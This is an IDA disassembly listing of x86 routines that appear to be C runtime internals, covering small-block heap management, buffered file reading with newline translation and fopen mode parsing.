loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
cmp esi, offset off_43AE50
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD384
nop
call near ptr 27D0000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE60, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE54
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
nop
call near ptr 26705B4h
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE40
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE54
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE50
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE40
cmp dword_4DBE40, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE70
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE70
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE70, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE50
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call near ptr 2670443h
nop
cmp eax, esi
jnz loc_41F70F
push 0
push [ebp+var_8]
push esi
call sub_41BF70
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE70, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE70, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; =============== S U B R O U T I N E =======================================
sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p
; sub_41C52F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F9B7
test al, 40h
jnz loc_41F9B7
test al, 2
jz short loc_41F909
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F9B7
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F8E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F91D
push esi
call sub_4241F7
pop ecx
jmp short loc_41F922
; ---------------------------------------------------------------------------
loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F922: ; CODE XREF: sub_41F8E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F9A6
cmp eax, 0FFFFFFFFh
jz short loc_41F9A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F97B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F964
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DD040[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8E3+6Bj
mov edi, offset dword_43D4D0
loc_41F969: ; CODE XREF: sub_41F8E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F97B
or dh, 20h
mov [esi+0Ch], edx
loc_41F97B: ; CODE XREF: sub_41F8E3+62j
; sub_41F8E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F998
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F998
test ch, 4
jnz short loc_41F998
mov dword ptr [esi+18h], 1000h
loc_41F998: ; CODE XREF: sub_41F8E3+9Fj
; sub_41F8E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8E3+55j
; sub_41F8E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj
; sub_41F8E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F8E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p
; sub_41F8E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DD140
jnb loc_41FB99
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DD040h[eax*4]
mov eax, dword_4DD040[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FB99
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41FA71
test dl, 2
jnz short loc_41FA71
test dl, 48h
jz short loc_41FA31
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41FA31
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41FA31: ; CODE XREF: sub_41F9BC+56j
; sub_41F9BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 271129Ah
test eax, eax
jnz short loc_41FA84
nop
call near ptr 269086Bh
push 5
pop ecx
cmp eax, ecx
jnz short loc_41FA6C
mov dword_4DBDDC, 9
mov dword_4DBDE0, ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA6C: ; CODE XREF: sub_41F9BC+99j
cmp eax, 6Dh
jnz short loc_41FA78
loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj
; sub_41F9BC+51j
xor eax, eax
jmp loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FA78: ; CODE XREF: sub_41F9BC+B3j
push eax
call sub_420C7F
pop ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FB94
test edx, edx
jz short loc_41FAA9
cmp byte ptr [edi], 0Ah
jnz short loc_41FAA9
or al, 4
jmp short loc_41FAAB
; ---------------------------------------------------------------------------
loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j
; sub_41F9BC+E7j
and al, 0FBh
loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FB8E
loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FB7E
cmp al, 0Dh
jz short loc_41FADF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FB70
; ---------------------------------------------------------------------------
loc_41FADF: ; CODE XREF: sub_41F9BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FAFD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FAF4
add [ebp+arg_8], 2
jmp short loc_41FB52
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F9BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F9BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 271129Ah
nop
test eax, eax
jnz short loc_41FB25
nop
call near ptr 269086Bh
test eax, eax
jnz short loc_41FB6C
loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41FB6C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FB47
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FB52
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F9BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FB57
cmp [ebp+var_1], 0Ah
jnz short loc_41FB57
loc_41FB52: ; CODE XREF: sub_41F9BC+136j
; sub_41F9BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej
; sub_41F9BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422F09
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FB70
loc_41FB6C: ; CODE XREF: sub_41F9BC+167j
; sub_41F9BC+16Dj
mov byte ptr [edi], 0Dh
loc_41FB6F: ; CODE XREF: sub_41F9BC+199j
inc edi
loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej
; sub_41F9BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FAC3
jmp short loc_41FB8E
; ---------------------------------------------------------------------------
loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FB8E
or al, 2
mov [esi], al
loc_41FB8E: ; CODE XREF: sub_41F9BC+101j
; sub_41F9BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FB94: ; CODE XREF: sub_41F9BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FB99: ; CODE XREF: sub_41F9BC+12j
; sub_41F9BC+39j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj
; sub_41F9BC+C3j
or eax, 0FFFFFFFFh
loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j
; sub_41F9BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9BC endp
; =============== S U B R O U T I N E =======================================
sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p
; sub_41BBE2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DBE44
test eax, eax
jz short loc_41FBCA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FBCA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FBCA: ; CODE XREF: sub_41FBB2+7j
; sub_41FBB2+12j
xor eax, eax
retn
sub_41FBB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBFB0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FC06
cmp al, 72h
jz short loc_41FBFF
cmp al, 77h
jnz loc_41FD1A
mov ecx, 301h
jmp short loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FBCD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FC0E
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj
mov ecx, 109h
loc_41FC0B: ; CODE XREF: sub_41FBCD+30j
or esi, 2
loc_41FC0E: ; CODE XREF: sub_41FBCD+37j
push 1
pop edx
loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj
; sub_41FBCD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FD00
cmp edx, ebx
jz loc_41FD00
movsx eax, al
cmp eax, 54h
jg short loc_41FC9F
jz short loc_41FC8F
sub eax, 2Bh
jz short loc_41FC79
sub eax, 19h
jz short loc_41FC6F
sub eax, 0Eh
jz short loc_41FC5A
dec eax
jnz loc_41FCF1
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj
test cl, 40h
jnz short loc_41FCF1
or ecx, 40h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
